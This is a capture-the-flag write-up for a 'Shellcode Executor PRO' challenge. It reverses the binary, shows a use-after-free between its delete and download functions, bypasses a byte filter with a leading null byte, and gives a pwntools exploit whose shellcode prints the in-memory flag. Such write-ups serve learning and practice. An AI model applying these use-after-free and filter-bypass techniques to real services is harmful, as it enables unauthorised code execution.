Your favorite shellcode testing service, now in the cloud!
nc 46.101.173.184 1446

The challenge only provides us with a non-stripped 64-bit binary. Running it gives us a menu with a couple of options as shown:

binary

Checking the binary's security flags

checksec

Reversing

Firing up IDA, we find out a couple of functions

functions

Now, lets have a quick brief about what each function does:

  • main: it calls createShellcode then prompt us with the menu and executes functions based on our choice
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v5; // [rsp+Ch] [rbp-24h]
  char v6; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  puts("Shellcode Executor PRO");
  v3 = &v6;
  createShellcode(&v6, "Shellcode Executor PRO Demo Base", &demo_shellcode);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          printMenu();
          v5 = ((__int64 (__fastcall *)(const char *, const char *))getInt)(v3, "Shellcode Executor PRO Demo Base");
          if ( v5 != 3 )
            break;
          v3 = &v6;
          executeShellcode(&v6);
        }
        if ( v5 <= 3 )
          break;
LABEL_13:
        v3 = "Invalid choice";
        puts("Invalid choice");
      }
      if ( v5 != 2 )
        break;
      v3 = &v6;
      deleteShellcode(&v6);
    }
    if ( v5 > 2 )
      goto LABEL_13;
    if ( !v5 )
      return 0;
    if ( v5 != 1 )
      goto LABEL_13;
    v3 = &v6;
    downloadShellcode(&v6);
  }
}
  • createShellcode: it takes a pointer, name of the shellcode and the actual shellcode, allocates memory on the heap for both the name and the shellcode and stores the addresses in the pointer
_QWORD *__fastcall createShellcode(_QWORD *a1, const char *name, void *shellcode)
{
  void *src; // ST08_8
  void *dest; // ST30_8
  size_t v5; // rax
  char *v6; // ST28_8
  __int64 v8; // [rsp+20h] [rbp-20h]

  src = shellcode;
  LOBYTE(v8) = 0;
  dest = malloc(0x400uLL);
  memcpy(dest, src, 0x400uLL);
  v5 = strlen(name);
  v6 = (char *)malloc(v5);
  strcpy(v6, name);
  *a1 = v8;
  a1[1] = v6;
  a1[2] = dest;
  return a1;
}
  • downloadShellcode: it allocates memory on the heap then takes its value from stdin using fgets then calls verifyUrl on the input
int downloadShellcode()
{
  char *s; // ST18_8

  s = (char *)malloc(0x400uLL);
  printf("Enter url: ");
  fgets(s, 1024, stdin);
  if ( (unsigned __int8)verifyUrl((__int64)s) ^ 1 )
  {
    puts("Your url contains incorrect characters, this incident will be reported");
    exit(-1);
  }
  return puts("For this feature you need to purchase the full version of our product");
}
  • verifyUrl: it loops over our input checking for invalid bytes <= 0x9 or that is what it looks like at least. Later on, we'll find out that it does more than that
signed __int64 __fastcall verifyUrl(char *a1)
{
  int i; // [rsp+14h] [rbp-4h]

  for ( i = 0; a1[i]; ++i )
  {
    if ( a1[i] <= 9 )
      return 0LL;
  }
  return 1LL;
}
  • deleteShellcode: it only free the chunks we have stored in the pointer which was set earlier by the createShellcode function
void __fastcall deleteShellcode(__int64 a1)
{
  if ( *(_BYTE *)a1 )
  {
    puts("This shellcode has already been deleted");
  }
  else
  {
    *(_BYTE *)a1 = 1;
    free(*(void **)(a1 + 8));
    free(*(void **)(a1 + 16));
  }
}
  • executeShellcode: it retrieves the shellcode from the heap and executes it after running restrictAccess
int __fastcall executeShellcode(__int64 a1)
{
  void *dest; // [rsp+18h] [rbp-8h]

  printf("Executing shellcode from %s\n", *(_QWORD *)(a1 + 8));
  dest = mmap(0LL, 0x400uLL, 7, 34, -1, 0LL);
  memcpy(dest, *(const void **)(a1 + 16), 0x400uLL);
  if ( restricted != 1 )
    restrictAccess();
  puts("====================================");
  ((void (__fastcall *)(const char *))dest)("====================================");
  puts("====================================");
  return munmap(dest, 0x400uLL);
}
  • restrictAccess it restricts syscalls to only sigreturn, exit, exit_group, read, write, mmap, munmap using seccomp
__int64 restrictAccess()
{
  __int64 v0; // ST08_8

  puts("Your access to syscalls has been restricted. To get more syscalls purchase the full version of our product");
  restricted = 1;
  v0 = seccomp_init(0LL);
  seccomp_rule_add(v0, 2147418112LL, 15LL, 0LL); // rt_sigreturn
  seccomp_rule_add(v0, 2147418112LL, 60LL, 0LL); // exit
  seccomp_rule_add(v0, 2147418112LL, 231LL, 0LL);  // exit_group
  seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL);  // read
  seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL); // write
  seccomp_rule_add(v0, 2147418112LL, 9LL, 0LL); // mmap
  seccomp_rule_add(v0, 2147418112LL, 11LL, 0LL);  // munmap
  return seccomp_load(v0);
}

Analysis

Clearly our goal is to run our shellcode but with the rules applied by seccomp we have limited access to syscalls, it only make sense for the flag to be loaded in the memory.
Simply looking at the binary's strings we find out where our flag will be located

flag location

Lets have a look at the demo shellcode, we know it's located on the heap so we can get it from there easily instead of looking up for its global variable address

demo_shellcode

So, this actually does what we need to do but instead of printing this demo text we want the flag so lets find where it is located. Interesting enough, we found it also on the heap in the same chunk of the shellcode

flag heap

That was because when the createFunction allocated the chunk, it allocated 1024 Byte and copied 1024 from the start of the demo_shellcode global variable and the flag was close by enough to get included.

We now have hint about what we need to do but we still need to work on the how. Looking back on downloadShellcode and deleteShellcode we notice a couple of things:

  1. downloadShellcode allocates a chunk equal in size to that of the shellcode in createShellcode
  2. deleteShellcode frees the chunk the pointer is pointing to but the pointer is not nulled so it still points to the same chunk.

What happens if we deleted the shellcode then used the download function?

run

We took control of the shellcode that'll be executed

shellcode overwritten

Bypassing the Verification

Now, we know that we need to write a shellcode to write the flag to stdout and we know how will we execute it. But we still have the function verifyUrl which exits when it gets invalid bytes <= 0x9
We copied the shellcode from the demo and modified it with the flag offset and wrote a simple script to show us the opcodes to see if we'll face troubles with verifyUrl

from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
                xor rdi, rdi
                lea rsi, [rip+0x74]
                mov edx, 0x59
                mov eax, 0x1
                syscall
                ret
                ''')

print disasm(shellcode)

Running the script, our answer was yes

opcodes

We have many invalid bytes. My first attempt to solve this was to reconstruct the shellcode with different instructions which I knew was the intended solution after contacting the admin after the CTF but now the way I solved it after all.

I constructed part of the shellcode with much less amount of invalid bytes

shellcode

But for some reason all bytes >= 0x80 also caused the binary to exit and I couldn't understand why. After the CTF I asked the admin about the function it turns out the decompilation was inaccurate as the original function was

bool verifyUrl(const char *url) {
    for(int i=0; url[i]; i++) {
        if(url[i] < 0x0a || url[i] > 0x7f ) {
            return false;
        }
    }
    return true;
}

I was stuck so I looked at the verifyUrl function again to notice this interesting line

for ( i = 0; a1[i]; ++i )

The condition of the for loop was the character itself so what if we send a null byte at the beginning of our shellcode before any occurrence of any invalid bytes.
Attempting to send '\x00' + shellcode to the binary, it worked and it didn't check the rest of the shellcode but of course our shellcode now is messed up and won't run.

Exploitation

The solution to send a valid shellcode with a null byte in the beginning was to have a useless instruction at the beginning of our shellcode that'll have null byte in its opcodes before the occurrence of invalid bytes.

After a couple of trials I found that xor al, 0x0 satisfies my needs

final_shellcode

And the final exploit was

from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
                xor al, 0x0
                xor rdi, rdi
                lea rsi, [rip+0x74]
                mov edx, 0x43
                mov eax, 0x1
                syscall
                ret
                ''')

# p = process('./shellcodeexecutor')
p = remote('46.101.173.184', 1446)
p.sendlineafter('> ', '2')
p.sendlineafter('> ', '1')
p.sendlineafter(': ', shellcode)
p.sendlineafter('> ', '3')
p.recvuntil('====================================\n')
log.success(p.recvuntil('}'))

Finally, running the exploit we get the flag justCTF{f0r_4_b3tt3r_fl4g_purch4s3_th3_full_v3rsi0n_0f_0ur_pr0duct}

flag